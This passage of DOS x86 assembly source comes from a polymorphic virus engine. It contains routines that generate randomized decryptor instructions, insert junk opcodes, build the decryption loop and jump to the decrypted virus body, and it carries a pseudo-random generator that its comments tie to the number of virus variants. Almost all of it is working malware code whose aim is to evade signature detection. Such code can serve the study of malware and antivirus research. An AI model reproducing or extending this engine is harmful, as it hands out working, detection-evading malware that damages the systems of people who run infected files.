CALL PonSUB
RET ; Return
; Construct a "SUB Counter,1"
PonSUBbyte2: MOV DH, 01 ; Value to be subtracted
CALL PonSUB ; Store the SUB
RET ; Return
; Construct a "NEG Counter/NOT Counter"
@@PonNEGNOT: MOV AL, 0F7h ; Put in AL the first opcode
MOV AH, DL ;Construct in AH the second opcode with
OR AH, 0D8h ; the register, etc.
STOSW ; Store "NEG Counter"
CALL HazBasuraAleatoria ; Do garbage
AND AH, 0F7h ; Transform "NEG" to "NOT"
STOSW ; Store "NOT Counter"
RET ; Return
;; Procedure to increase index register (it always goes fowards)
IncrementaIndice PROC
CMP BYTE PTR [TipoDeDesencriptador-200h], 0
JZ Especial
MOV DL, [RegistroIndice-200h] ; Get in DL the register
CMP DL, 07h ; Is it DI?
JZ @@Especial ; Then do special instructions
@@Normal: TEST BP, 0080h ; Test if byte or word decryption
JZ @@NormalWord ; Jump if word decryption
;; Construct byte increasement
@@NormalByte: CALL Aleatorio ; Get a random between 0 and 7
AND AL, 07h
JZ PonINCbyte ; If 0, then store "INC"
CMP AL, 02
JB PonADDbyte ; If 1, then store "ADD"
JZ PonADDSUBbyte ; If 2, store "ADD/SUB" combination
CMP AL, 04
JB PonSUBbyte ; If 3, store "SUB"
JZ PonSUBADDbyte ; If 4, store "SUB/ADD" combination
CMP AL, 06
JB PonNOTNEG ; If 5, store "NOT/NEG" combination
JZ @@PonLEAbyte ; If 6, store "LEA"
; Store "INC"
PonINCbyte: CALL PonINC ; Put the INC
RET ; Return
; Store "ADD"
PonADDbyte: MOV DH, 01 ; Put the "ADD Index,1"
CALL PonADD
RET ; Return
; Store "ADD/SUB" combination
PonADDSUBbyte: CALL Aleatorio ; Get a random between 0 and 7Eh
AND AL, 7Fh
JZ PonADDSUBbyte
MOV DH, AL ; Construct an ADD with it
CALL PonADD
CALL HazBasuraAleatoria ; Do garbage
SUB DH, 01 ; Decrease this byte and put a SUB
CALL PonSUB
RET ; Return
; Store a SUB
PonSUBbyte: MOV DH, 0FFh ; Construct a "SUB Index,-1"
CALL PonSUB
RET ; Return
; Store a SUB/ADD combination
PonSUBADDbyte: CALL Aleatorio ; Get a random between 0 and 7Eh
AND AL, 7Fh
CMP AL, 7Fh
JZ PonSUBADDbyte
MOV DH, AL ; Construct a SUB
CALL PonSUB
CALL HazBasuraAleatoria ; Do garbage between instructions
ADD DH, 01 ; Increase random value and do an ADD
CALL PonADD
RET ; Return
; Store a NOT/NEG combination
PonNOTNEG: MOV AL, 0F7h ; Construct a NOT instruction with the
MOV AH, DL ; register <DL>
OR AH, 0D0h
STOSW ; Store it
CALL HazBasuraAleatoria ; Do garbage
OR AH, 0D8h ; Convert NOT to NEG
STOSW ; Store it
RET ; Return
; Construct a LEA
@@PonLEAbyte: MOV DH, 01 ; Put a LEA type "LEA Index,[Index+1]"
CALL PonLEA
RET ; Return
;; Construct word increasement
@@NormalWord: CALL Aleatorio ; Get a random between 0 and 7
AND AL, 07h
JZ @@PonINCword ; If 0, put a pair of INCs
CMP AL, 02
JB @@PonADDword ; If 1, store "ADD"
JZ @@PonADDSUBword ; If 2, store "ADD/SUB"
CMP AL, 04
JB @@PonSUBword ; If 3, store "SUB"
JZ @@PonSUBADDword ; If 4, store "SUB/ADD"
CMP AL, 06
JB @@PonADDINCword ; If 5, store "ADD/INC"
JZ @@PonDECADDword ; If 6, store "DEC/ADD"
; Construct "LEA Counter,[Counter+2]"
@@PonLEAword: MOV DH, 02 ; Insert the LEA
CALL PonLEA
RET ; Return
; Construct two INCs (INC/INC)
@@PonINCword: CALL PonINC ; Put an INC
JMP PonINCbyte ; Jump to insert one INC more
; Construct an "ADD"
@@PonADDword: MOV DH, 02 ; Do a "ADD Index,2"
CALL PonADD ; Store it and return
RET
; Construct "ADD/SUB"
@@PonADDSUBword: CALL Aleatorio ; Get a random between 0 and 7Eh
AND AL, 7Fh
CMP AL, 7Fh
JZ @@PonADDSUBword
MOV DH, AL ; Put it on DH
@@SaltaConyo: CALL PonADD ; Store an "ADD"
CALL HazBasuraAleatoria ; Do garbage
SUB DH, 02 ; Subtract 2 to random number
CALL PonSUB ; Store a SUB
RET ; Return
; Construct "SUB"
@@PonSUBword: MOV DH, 0FEh ; Construct "SUB Index,-2"
CALL PonSUB
RET ; Return
; Construct a "SUB/ADD" pair
@@PonSUBADDword: CALL Aleatorio ; Get a random number between 0 and 7Eh
AND AL, 7Fh
CMP AL, 7Fh
JZ @@PonSUBADDword
MOV DH, AL ; Construct a "SUB"
CALL PonSUB
CALL HazBasuraAleatoria ; Do garbage
ADD DH, 02 ; Construct an "ADD" that adds two more
CALL PonADD ; than the subtracted before
RET ; Return
; Construct "ADD/INC"
@@PonADDINCword: MOV DH, 01 ; Construct an "ADD Index,1"
CALL PonADD
CALL HazBasuraAleatoria ; Do garbage
CALL PonINC ; Construct an "INC Index"
RET ; Return
; Construct "DEC/ADD"
@@PonDECADDword: CALL PonDEC ; Construct a "DEC Index"
CALL HazBasuraAleatoria ; Do garbage
MOV DH, 03 ; Construct an "ADD Index,3"
CALL PonADD
RET ; Return
; Special manners of increasing the index register (when it's DI)
@@Especial: CALL SioNo ; Random Zero Flag
JNZ @@Normal ; If not Zero Flag, do normal things :)
TEST BP, 0080h ; Check if byte or word index
JZ @@HazWORD ; If word, jump
; Byte DI increasing
@@HazByte: CALL Aleatorio ; Get a random between 0 and 3
AND AL, 03
JZ @@PonSCASB ; If 0, store "SCASB"
CMP AL, 02
JB @@PonDECSCASW ; If 1, store "DEC DI/SCASW"
JZ @@PonSCASWDEC ; If 2, store "SCASW/DEC DI"
; Store "ADD DI,2/STD/SCASB" or "ADD DI,3/STD/SCASW"
@@PonADDSCASB: MOV AX, [InicioVirus-200h+1+16h] ; Check if SCASW applied
SUB AX, [SumaIndice-200h] ; to a possible DI=FFFFh will
AND AL, 1 ; cause an exception
MOV DH, AL ; If index is even, then DH=1, otherwise
XOR DH, 1 ; DH=0
CALL Aleatorio ; Get a random word in AX
AND AL, DH ; Get 0 or 1 in AL
ADD AL, 02 ; Get 2 or 3 in AL
MOV DH, AL ; Put it in DH
CALL PonADD ; Put an "ADD DI,<DH>"
CALL HazBasuraAleatoria ; Do garbage
MOV AH, DH ; Put this value in AH
ADD AH, 0ACh ; Add to convert to SCASB/SCASW
MOV AL, 0FDh ; Insert CLD (to subtract to DI)
STOSW ; Insert that
RET ; Return
; Store "CLD/SCASB"
@@PonSCASB: MOV AX, 0AEFCh ; Construct "CLD/SCASW"
STOSW ; Store them
RET ; Return
; Store "DEC DI/CLD/SCASW"
@@PonDECSCASW: MOV AX, [InicioVirus-200h+1+16h] ; Check if DI is even or
SUB AX, [SumaIndice-200h] ; add decrypting. If it's
AND AX, 1 ; odd, avoid "SCASW" because
JNZ @@HazByte ; it would cause an exception
CALL PonDEC ; Construct "DEC DI"
CALL HazBasuraAleatoria ; Do garbage
MOV AX, 0AFFCh ; Put "CLD/SCASW"
STOSW ; Store instruction
RET ; Return
; Construct "CLD/SCASW/DEC DI"
@@PonSCASWDEC: MOV AX, [InicioVirus-200h+1+16h] ;Check for a possible ex-
SUB AX, [SumaIndice-200h] ; ception that would hang the
AND AX, 1 ; computer.
JNZ @@HazByte ; If a exception is possible, jump
MOV AX, 0AFFCh ; Store "CLD/SCASW"
STOSW
CALL HazBasuraAleatoria ; Do garbage
CALL PonDEC ; Store "DEC DI"
RET ; Return
; Word DI increasing
@@HazWord: CALL Aleatorio ; Get a random between 0 and 3
AND AL, 03
JZ @@PonSCASW ; If 0, store "CLD/SCASW"
CMP AL, 02
JB @@PonINCSCASB ; If 1, store "INC DI/CLD/SCASB"
JZ @@PonSCASBINC ; If 2, store "CLD/SCASB/INC DI"
; Construct "ADD DI,1/CLD/SCASB" or "ADD DI,0/CLD/SCASW"
@@PonADDSCASB2: MOV AX, [InicioVirus-200h+1+16h] ; Check for exceptions
SUB AX, [SumaIndice-200h]
AND AL, 1 ;AL = 1 if an exception could
JNZ @@Ssssalto ;happen, and jump
CALL Aleatorio ; Get a random 0 or 1
AND AL, 01
@@Ssssalto: MOV DH, AL ; Put AL in DH
CALL PonADD ; Store "ADD DI,<DH>"
CALL HazBasuraAleatoria ; Do garbage
MOV AH, DH ; Calculate "SCASB" or "SCASW"
NEG AH
ADD AH, 0AFh
MOV AL, 0FCh ; Put "CLD"
STOSW ; Store the two instructions
RET ; Return
; Construct "INC DI/CLD/SCASB"
@@PonINCSCASB: CALL PonINC ; Put "INC DI"
CALL HazBasuraAleatoria ; Do garbage
MOV AX, 0AEFCh ; Put "CLD/SCASB"
STOSW ; Store it
RET ; return
; Construct "CLD/SCASB/INC DI"
@@PonSCASBINC: MOV AX, 0AEFCh ; Put "CLD/SCASB"
STOSW ; Store instruction
CALL HazBasuraAleatoria ; Do garbage
CALL PonINC ; Put "INC DI"
RET ; Return
; Construct "CLD/SCASW"
@@PonSCASW: MOV AX, [InicioVirus-200h+1+16h] ;If a exception may
SUB AX, [SumaIndice-200h] ; occur, then avoid this and
AND AX, 1 ; search for another type of
JNZ @@HazWord ; increasement
MOV AX, 0AFFCh ; Construct "CLD/SCASW"
STOSW ; Store it
RET ; Return
IncrementaIndice ENDP
ModificaContador ENDP
;;; This procedure is to modify the index in the Zhengxi-like loop
ModificaIndice PROC
mov ax, [TamanyoContador-200h] ; Get the size of the
; counter
movzx cx, byte ptr [TamanyoBloque-200h] ; Get the size of
; the blocks
xor dx, dx ; Divide size of virus by size of blocks
div cx
inc ax ; AX = Number of blocks
mul cx ; AX = Size of virus rounded to block size
mov cx, ax ; Put it on CX
TEST BP, 0080h ; Test if the decryptor will be decrypted by
JNZ @@Byte ; words or bytes, then jump
DEC CX
@@Byte: DEC CX
neg cx ; Negate CX
JMP SaltoEspecial ; Jump
Especial PROC
MOVZX CX, BYTE PTR [TamanyoBloque-200h] ; Get block size in
; CX
;;; All the code till the end of the procedure will be uncommented. I'm lazy
;;; now to do it :)
SaltoEspecial: MOV DL, [RegistroIndice-200h]
@@Repete: CALL Aleatorio
AND AL, 7
JZ @@PonADDSUB
CMP AL, 2
JB @@PonSUBADD
JZ @@PonADD1
CMP AL, 4
JB @@PonSUB1
JNZ @@Repete
@@PonLEA: MOV AL, DL
MOV BX, Offset TablaIndices - 200h
XLAT
AND AL, 3Fh
CMP CX, +7Fh
JBE @@KK1
OR AL, 80h
DB 3Dh
@@KK1: OR AL, 40h
MOV AH, AL
MOV AL, 8Dh
ROL DL, 3
OR AH, DL
STOSW
MOV AX, CX
CMP CX, 007Fh
JBE @@KK2
STOSW
RET
@@PonADDSUB: PUSH CX
CALL Aleatorio
MOV CX, AX
CALL @@PonADD
CALL HazBasuraAleatoria
POP AX
SUB CX, AX
JMP @@PonSUB
@@PonSUBADD: PUSH CX
CALL Aleatorio
MOV CX, AX
CALL @@PonSUB
CALL HazBasuraAleatoria
POP AX
ADD CX, AX
JMP @@PonADD
@@PonADD1: CALL SioNo
JZ @@PonADD
CMP CX, +7Fh
JA @@PonADD
MOV AX, 0C083h
@@Sigue2: ADD AH, DL
STOSW
MOV AL, CL
@@KK2: STOSB
RET
@@PonSUB1: NEG CX
CMP CX, +7Fh
JA @@PonSUB
CALL SioNo
JZ @@PonSUB
MOV AX, 0E883h
JMP @@Sigue2
@@PonSUB: MOV AX, 0E881h
JMP @@Sigue1
@@PonADD: MOV AX, 0C081h
@@Sigue1: ADD AH, DL
STOSW
MOV AX, CX
STOSW
RET
Especial ENDP
ModificaIndice ENDP
;; Procedure to modify the key when it's modified every loop on the decryption
ModificaRegistro PROC
MOV DL, [RegistroEncriptado-200h] ; Get key register in DL
TEST BP, 0100h ; If no register is used like key,
JZ @@Fin ; exit
TEST BP, 0004h ; Will we modify the key every loop?
JZ @@Fin ; If not, exit
CALL Aleatorio ; Get a random word in AX
MOV [WordCambio-200h], AX ; Store it here
TEST BP, 0020h ; Test method of changing
JZ @@PonXORoSUB ; If Zero Flag, put XOR or SUB
@@PonADDoROL: TEST BP, 0040h ; Test if ADD or ROL,1
JZ @@PonADD ; If Zero Flag, ADD
@@PonROL: MOV AX, 0C0D1h ; Insert a "ROL Key_Reg,1"
OR AH, DL ; Set register
STOSW ; Store instruction
@@Fin: RET ; Return
@@PonADD: MOV AX, 0C081h ; Insert an "ADD Key_Reg,xxxx"
CALL SioNo ; Random Zero Flag
JZ @@Pon2ADD ; If Zero Flag, do it in 2 adds
@@Saltoop: OR AH, DL ; Set register on opcode
STOSW ; Store instruction
MOV AX, [WordCambio-200h] ; Store value of changing
STOSW
RET ; Return
@@Pon2ADD:
@@Saltooo: OR AH, DL ; Set register on instruction
STOSW ; Store it
PUSH AX ; Save the instruction
CALL Aleatorio ; Get a random value in AX
MOV CX, AX ; Save it on CX
MOV AX, [WordCambio-200h] ; Subtract it from the value of
SUB AX, CX ; changing
STOSW ; Store the result
CALL HazBasuraAleatoria ; Do garbage
POP AX ; Get the instruction again
STOSW ; Store it
MOV AX, CX ; Store the complementation of the
STOSW ; word of changing
RET ; Return
@@PonXORoSUB: TEST BP, 0040h ; Is it XOR or SUB?
JZ @@PonXOR ; If bit=0, do XOR
@@PonSUB: MOV AX, 0E881h ; Construct a "SUB"
CALL SioNo ; Do it in twice?
JZ @@Saltooo ; If yes, jump here
JMP @@Saltoop ; If not, store direct value and finish
@@PonXOR: MOV AX, 0F081h ; Construct the "XOR" instruction and
JMP @@Saltoop ; jump to store it
ModificaRegistro ENDP
;; This procedure constructs a LEA with a value passed in DH
PonLEA PROC
MOV AL, 8Dh ; Store LEA opcode
STOSB
MOV AL, DL ; Get encoding for this register
MOV BX, Offset TablaIndices - 200h
XLAT
AND AL, 07h ; Anulate other bits (if it is BP)
ROL DL, 3 ; Prepare it for the second opcode
OR AL, DL
CALL SioNo ; Random Zero Flag
JZ @@Salto02 ;If Zero Flag, set a byte-adding index
OR AL, 40h
STOSB
MOV AL, DH ; Put direct value
STOSB
RET ; Return
@@Salto02: OR AL, 80h ; Set a word-adding index
STOSB ; Store the second opcode
MOV AL, DH ; Get the byte to add
CBW ; Convert in AX to a signed one
STOSW ; Store the resulting word
RET ; Return
PonLEA ENDP
;; Procedure to insert an "INC" or a "DEC" with the register in DL. This ins-
;; tructions can be made with two different opcodes, so the routine uses them.
;;; Here to make a DEC
PonDEC PROC
PUSH CX ; Save CX
MOV CL, 08h ; Put "DEC"
JMP Sigue ; Jump here
;;; Here to make an INC
PonINC PROC
PUSH CX ; Save CX
XOR CL, CL ; Put "INC"
Sigue: CALL SioNo ; Random Zero Flag
JZ @@Salto01 ; If Zero Flag, jump
; One type of opcode
MOV AL, 0FFh ; Offset of some instructions
MOV AH, DL ; Put register in AH
OR AH, 0C0h ; Set "register operation" on
OR AH, CL ; Put INC or DEC
STOSW ; Store the instruction
POP CX ; Recover CX
RET ; Return
; Another type of opcode
@@Salto01: MOV AL, DL ; Put register in AL
OR AL, 40h ; Add 40h to the register
OR AL, CL ; Set INC or DEC in the instruction
STOSB ; Store it
POP CX ; Recover CX
RET ; Return
PonINC ENDP
PonDEC ENDP
;; Procedure to construct an ADD instruction with two different types: with
;; word operand and word reduced to signed byte. We must pass the value to add
;; in DH
PonADD PROC
MOV AH, 0C0h ;Set "register operation" on in the second
;opcode and ADD operation
PonALGO: MOV AL, 81h ; Main opcode
OR AH, DL ; Put register to use
STOSW ; Store instruction
MOV AL, DH ; Put value to add in AL
CBW ; Extende AL to word with signe in AX
CALL SioNo ; Random Zero Flag
JZ @@Salto001 ;If Zero Flag, go on with this instruction
MOV BYTE PTR [DI-02], 83h ; Change it to "word but repre-
; sented by a signed byte" inst.
STOSB ; Store AL
RET ; Return
@@Salto001: STOSW ; Store AX
RET ; Return
PonADD ENDP
;; This procedure uses the procedure above. It only put in AH the bit field
;; (15,14) to 1,1 to set register operation on, and it jumps to the other rou-
;; tine because the other things to do are the same.
PonSUB PROC
MOV AH, 0E8h
JMP PonALGO
PonSUB ENDP
MeteComprueba2 PROC
MOVZX AX, [TamanyoBloque-200h]
MOV CX, [InicioVirus-200h+1+16h]
SUB CX, [SumaIndice-200h]
ADD CX, AX
JMP ComparacionBis
; This routine inserts a compare instruction (for the decryption loop, to know
; if it has to end decryption)
MeteComprueba PROC
MOV DL, [RegistroContador-200h] ;Get counter register in
CMP DL, 04 ; DL. If DL = 4, do a CMP
JZ Comparacion ; with the index
CMP DL, 01 ; Check if it is CX
JNZ @@Gimma ; If not, jump
TEST BP, 0001h ;Is counter going fowards or backwards?
JNZ @@Gimma ; If it's going fowards, jump
TEST BP, 6000h ; Are we going to use any LOOP instr.?
JNZ @@MeteParaLOOP ; If yes, jump here
@@Gimma: CALL Aleatorio ; Get a random word in AX
AND AL, 01 ; Get random 0 or 1 in AL
JZ @@FuncionLogica ; If 0, jump here
; This sets an instruction type "CMP AX,0000" or "ADD AX,+00", to change/set
; flags and use them
@@Operacion: MOV BX, Offset OpcodesComprueba - 200h ; It gets an opcode
MOV AL, AH ; for ADD, SUB, CMP or CMP (twice) :)
AND AL, 03
XLAT
MOV AH, AL ; Put got opcode in AH
OR AH, DL ; Set register to opcode
MOV AL, 81h ; Set main opcode
MOV CX, AX ; Save it on CX
CALL Aleatorio ; Get a random word in AX
AND AL, 02 ; Get random 0 or 2 in AL
XCHG CX, AX ; Exchange instruction with random
OR AL, CL ; Add 2 or nothing to opcode, to get
; 81h or 83h
STOSW ; Store instruction
XOR AX, AX ; AX=0
CMP CL, 02 ;If it's opcode 83h, store only a byte
JZ @@Inserta1
@@Inserta2: STOSW ; If not, insert a word
RET
@@Inserta1: STOSB
RET
; This inserts an instruction type "AND AX,AX" or "TEST BP,BP"
@@FuncionLogica: CALL Aleatorio ; Get a random number between 0 and 2
AND AL, 03
JZ @@FuncionLogica
DEC AL
MOV BX, Offset OpcodesLogicos - 200h ; Get one of the op-
XLAT ; codes here (OR,AND or TEST)
CMP AL, 85h ; Check if it's TEST
JZ @@Salta ; If it's TEST, jump
AND AH, 02 ; Get a random 0 or 2
ADD AL, AH ; Add it to that got opcode
@@Salta: MOV AH, DL ; Construct an instruction type "Operation
ROL AH, 3 ; Reg,Reg", being "Reg" the same in the
OR AH, DL ; left and the right of the comma.
OR AH, 0C0h
STOSW
RET
; Here if we are going to put a LOOP instruction. We need a comparision to
; activate some flags and make the LOOP. For example, to do a LOOPZ we insert
; a comparision of a register with itself, so Zero Flag will be activated.
; For a LOOPNZ, the best is compare CX with 0, because it's going to be fal-
; se, so Zero Flag won't be activated
@@MeteParaLOOP: MOV AX, BP ; Get type of LOOP in AH
AND AX, 6000h
CMP AH, 40h ; Check type of LOOP
JZ @@PonLOOPZ ; Jump here if LOOPZ
JB @@PonLOOPNZ ; Jump here if LOOPNZ
RET ; Return if LOOP
@@PonLOOPZ: CALL Aleatorio ; Get a random AX
AND AL, 03 ; Get a random between 0 and 3 in AL
ADD AL, 38h ; Add "CMP" opcode
AND AH, 07h ; Get a random register
MOV CL, AH ; Put it on CL
ROL CL, 3 ; Prepare it register field in second opc.
OR AH, CL ; Set it on opcode
OR AH, 0C0h ; Activate "register operation"
STOSW ; Store instruction
RET ; Return
@@PonLOOPNZ: CALL Aleatorio
AND AL, 02h
ADD AL, 81h ; Get a random 81h or 83h in AL
MOV AH, 0F9h ; Construct "CMP CX,xxx"
STOSW ; Store it
TEST AL, 02h ; Check if the main opcode is 81h or 83h
MOV AL, 0 ; AL=0
JNZ @@Mete1byte ; If 83h, put only one byte
STOSB ; Store byte with value 0
@@Mete1byte: STOSB ; Store byte with value 0
RET ; Return
;;; This code to do a comparision with the index, to get if the loop reached
;;; the end of the decryption
@@ComparacionDeBloque:
MOV AX, [TamanyoContador-200h]
MOVZX CX, BYTE PTR [TamanyoBloque-200h]
XOR DX, DX
DIV CX
INC AX
MUL CX
MOV CX, AX
ADD CX, [InicioVirus-200h+1+16h]
SUB CX, [SumaIndice-200h]
JMP ComparacionBis
Comparacion: CMP BYTE PTR [TipoDeDesencriptador-200h], 0
JZ @@ComparacionDeBloque
MOV CX, [InicioVirus-200h+1+16h]
SUB CX, [SumaIndice-200h]
ADD CX, [TamanyoContador-200h]
ComparacionBis: cmp cx, 7fffh
jbe @@KKBis
cmp cx, (8000h + LongVirus2 + 200h)
ja @@KKBis
mov byte ptr [SaltoLoopTipo0-200h], 1
@@KKBis: MOV DL, [RegistroIndice-200h]
CALL Aleatorio
AND AH, 3
JZ @@MeteCMP
; jmp @@MeteCMP
@@MeteOtraCosa: PUSH AX
CALL SioNo
JZ @@PUSHTipo1
@@PUSHTipo2: MOV AL, 50h
ADD AL, DL
STOSB
JMP @@Sigue001
@@PUSHTipo1: MOV AX, 0F0FFh
ADD AH, DL
STOSW
@@Sigue001: CALL HazBasuraAleatoria
POP AX
AND AL, 1
JZ @@MeteSUB
@@MeteCMP2: CALL @@MeteCMP
JMP @@Sigue002
@@MeteSUB: MOV AX, 0E881h
ADD AH, DL
STOSW
MOV AX, CX
STOSW
@@Sigue002: CALL HazBasuraSinBanderas2
CALL SioNo
JZ @@POPTipo1
@@POPTipo2: MOV AX, 0C08Fh
ADD AH, DL
STOSW
RET
@@POPTipo1: MOV AL, 58h
ADD AL, DL
STOSB
RET
@@MeteCMP: MOV AX, 0F881h
ADD AH, DL
STOSW
MOV AX, CX
STOSW
RET
MeteComprueba ENDP
MeteComprueba2 ENDP
;; Procedure to insert garbage that doesn't affect to the flags that the de-
;; cryptor use to do certain things
HazBasuraSinBanderas2 PROC
call HazBasuraSinBanderas
movzx cx, byte ptr [Cantidad-200h] ; Get in CX the quantity
; of bytes of the last
; call to HazBasuraSin-
; Banderas
or cx, cx ; If 0, end
jz @@Fin
sub di, cx
@@Loop01: cmp byte ptr [di], 0f5h ; CLC
jb @@Jumping
cmp byte ptr [di], 0f8h ; CMC
ja @@Jumping
@@Cont01: call Aleatorio ; Get other instruction
and al, 07h
mov bx, offset BasuraNoBanderas - 200h
xlat
stosb
dec di
jmp @@Loop01
@@Jumping: inc di
loop @@Loop01
ret
;; And this procedure to insert garbage that doesn't affect to other types of
;; comparision, such as signed comparisions and all that.
HazBasuraSinBanderas:
CALL Aleatorio ; Get a random number in AX
AND AX, 0003 ; Get number of instructions
mov byte ptr [Cantidad-200h], al
JZ @@Fin ; If 0, end
MOV CX, AX ; Put it in CX
MOV BX, Offset BasuraNoBanderas - 200h ; Get a random ins-
@@Loop: CALL Aleatorio ; truction from the 7 stored in
AND AL, 07h ; "BasuraNoBanderas"
; cmp byte ptr [TipoDeDesencriptador-200h], 0
; jnz @@kk
; cmp al, 02
; jbe @@Loop
@@kk: XLAT
STOSB ; Store it
LOOP @@Loop ; Repeat CX times
@@Fin: RET ; Return
HazBasuraSinBanderas2 ENDP
;; Procedure to put the jump to repeat all the decryption process (commonly
;; called "the decryption loop" :) ). It could be one of the LOOPs, or condi-
;; tional jumps of 8/16 bits displacement
MeteSaltoLoop PROC
CMP BYTE PTR [RegistroContador-200h], 04
JZ @@SaltoPorComprobacion
CMP BYTE PTR [RegistroContador-200h], 01 ; If counter re-
JNZ @@Bigibiggs ; gister isn't CX, jump here
TEST BP, 0001h ; Fowards or backwards?
JNZ @@Bigibiggs ; Jump if fowards
TEST BP, 6000h ; Does it use any LOOP?
JNZ @@Especial ; If it uses them, jump here
; Here to put normal jumps (not LOOPs)
@@Bigibiggs: MOV AX, BP ;Get if it goes fowards or backwards and set
AND AX, 1 ;0 to BX if it goes backwards, otherwise put
ROL AX, 2 ;4 in BX
MOV BX, Offset Saltos - 200h ; Get a random conditional
ADD BX, AX ; jump from the 4 stored ones for
CALL Aleatorio ; the two modes of counting
AND AL, 03 ;For increasing, it could be: JNZ, JS, JL or
XLAT ;JLE. For decreasing: JNZ, JNS, JGE or JG
@@Salto001: AND AH, 01 ; Random Zero Flag
JZ @@Salto16bits ;If Zero Flag, do 16 bits conditional jump
@@Salto8bits: MOV CX, [InicLoop-200h] ;Get address where the loop starts
SUB CX, DI ;Calculate negated size of decryp-
DEC CX ;tion loop
DEC CX
MOV AH, CL ; Put it like displacement and complete jump
STOSW ; instruction. Store it.
RET ; Return
@@Salto16bits: ADD AL, 10h ; Add 10h to opcode to convert it
MOV AH, AL ; Put it on AH and put 0Fh like main opcode
MOV AL, 0Fh
STOSW ; Store instruction (0F8?h)
MOV AX, [InicLoop-200h] ; Get negated size of decryption
SUB AX, DI ; loop
DEC AX
DEC AX
STOSW ; Store it like displacement (backwards)
RET ; Return
; Here the LOOPs are constructed
@@Especial: MOV AX, BP ;Get type of LOOP instruction (LOOP, LOOPZ
AND AX, 6000h ;or LOOPNZ)
ROL AX, 3
ADD AL, 0DFh ; Convert bits to opcode (I prepared this
; data to do that)
STOSB ; Store opcode
MOV AX, [InicLoop-200h] ;Calculate negated size of decryp-
SUB AX, DI ; tion loop and store it like displace-
DEC AX ; ment
STOSB
RET ; Return
@@SaltoPorComprobacion:
; cmp byte ptr [TipoDeDesencriptador-200h], 0
; jnz @@KK
; xor al, al
; jmp @@KK2
cmp byte ptr [TipoDeDesencriptador-200h], 0
jz @@KK8
cmp byte ptr [TipoDeDesencriptador-200h], 1
jnz @@KK
@@KK8: CMP BYTE PTR [SaltoLoopTipo0-200h], 1
JNZ @@KK4
mov bx, offset Saltos2 - 200h
jmp @@KK5
@@KK4: MOV BX, Offset Saltos - 200h + 5
@@KK5: CALL Aleatorio
AND AL, 1
JMP @@KK3
@@KK: CALL Aleatorio
AND AL, 3
; JZ @@SaltoPorComprobacion
jz @@KK
@@KK2: MOV BX, Offset Saltos - 200h + 4
@@KK3: XLAT
JMP @@Salto001
MeteSaltoLoop ENDP
;; Procedure to initialize the random seed (when it has to initialize it)
InicAleatorio PROC
MOV AH, 1Ah ; Get date in CX and DX
CALL Int21h
AND DX, 0FFFCh ;Get a different date only every four days
XOR DX, CX ;Mix the two numbers (day/month with year)
PUSH ES ; Save ES
XOR AX, AX ; Get some values from the TVI, so it will
MOV ES, AX ; depend on the host system
MOV CX, ES:[0074h]
@@Cosa: XOR DX, CX ; Mix them
ADD CX, DX
MOV AX, ES:[0040h] ; Get IP of int 10h
XOR AX, CX ; Mix it
MOV [WordAleatorio1-200h], DX ;Save result values like new
MOV [WordAleatorio2-200h], CX ;operation words for the
MOV [WordAleatorio3-200h], AX ;random generator
POP ES ;Restore ES
RET ; Return
InicAleatorio ENDP
WordAleatorio1 DW 481Dh ; Values to operate when a random number is
WordAleatorio2 DW 0AD71h ; being generated
WordAleatorio3 DW 95F4h
;; One of the most important functions inside the polymorphism engine. It ge-
;; nerates a random word in AX. The sequence of random numbers wouldn't be
;; repeated until it generates 281.474.976.710.656 numbers, so teorically this
;; number is the quantity of possible variants of the virus (uuuf... :) ).
Aleatorio PROC
PUSH CX ; Save CX
MOV AX, [WordAleatorio1-200h] ; Get word in AX
DEC WORD PTR [WordAleatorio1-200h] ; Decrease it
XOR AX, [WordAleatorio2-200h] ;XOR it with other word
MOV CX, AX ; Put it in CX
ROL WORD PTR [WordAleatorio1-200h], CL ; Rotate CL times
; the first word
ADD [WordAleatorio1-200h], AX ; Add AX to this word
ADC AX, [WordAleatorio2-200h] ; Add second word to AX
ADD AX, CX ; Add CX to AX
ROR AX, CL ; Rotate AX with CL
NOT AX ; Inverse all bits in AX
SUB AX, 0003 ; Subtract a fix quantity, so it ne-
; ver will be the same than before
XOR [WordAleatorio2-200h], AX ; XOR second word with AX
XOR AX, [WordAleatorio3-200h] ; XOR AX with the third word
ROL WORD PTR [WordAleatorio3-200h], 1 ; Rotate 3rd word
SUB WORD PTR [WordAleatorio3-200h], CX ; Subtract CX
SBB WORD PTR [WordAleatorio3-200h], 4 ; Subtract a fix
; quantity
INC WORD PTR [WordAleatorio2-200h] ; Increase 2nd word
POP CX ; Return with a random in AX
RET ; Return
Aleatorio ENDP
;; This procedure constructs the instruction which will jump to the second de-
;; cryptor or to the decrypted virus body.
SaltoInicio PROC
PUSH Offset @@Fin1 - 200h ; Save this address onto stack
MOV AX, BP ; Get instruction to jump
AND AX, 0C00h
ROL AX, 6
CMP AL, 01
JB @@PonJMP ; If 0, put "JMP"
;;; JMP @@PonJMP
JZ @@PonRET ; If 1, put "RET"
CMP AL, 03
JB @@PonRETF ; If 2, put "RETF"
; Put an IRET, a RETF 0002 or a RET 0004
@@PonIRET: CALL Aleatorio ; Get a random number between 1 and 3
AND AL, 03
JZ @@PonIRET
CMP AL, 02 ; Check number
JB @@PonRET0004 ; If AL=1, then put "RET 0004"
JZ @@PonRETF0002 ; If AL=2, then put "RETF 0002"
MOV AL, 0CFh ; Put IRET
RET ; Jump to @@Fin1
@@PonRET0004: MOV AX, 04C2h ;Put "RET" and the first part of the num-
@@Salto1: STOSW ; ber before (0004)
XOR AL, AL ; Store 0 when return
RET
@@PonRETF0002: MOV AX, 02CAh ; Put "RETF" and the first part of the
JMP @@Salto1 ; number before "0002" when jump
; Put a RETF or a RET 0002
@@PonRETF: CALL SioNo ; Random Zero Flag
JZ @@PonRET0002 ; If Zero Flag, put RET 0002
MOV AL, 0CBh ; Insert RETF
RET ; Jump to @@Fin1
@@PonRET0002: MOV AX, 02C2h ; Insert "RET" and the first part of the
JMP @@Salto1 ; "0002" when jump
; Put a RET
@@PonRET: MOV AL, 0C3h ; "RET" opcode in AL
RET ; Jump to @@Fin1
; Put a JMP
@@PonJMP: MOV AL, 0E9h ; Insert "JMP" opcode
STOSB
MOV AX, Offset NewVirus-200h ; Calculate displacement. If
SUB AX, DI ;it jumps directly to the decrypted virus
DEC AX ;body, it calculates the displacement to
DEC AX ;the initial address of the virus. Other-
CALL MiraSiPrimerDes ;wise, it adds the static size of the
JZ @@Salto ;virus body to the calculated displa-
ADD AX, LongVirus ;cement, to get the entry-point of the
;second decryptor.
@@Salto: STOSW ; Store the displacement
POP AX ; Nivelate stack
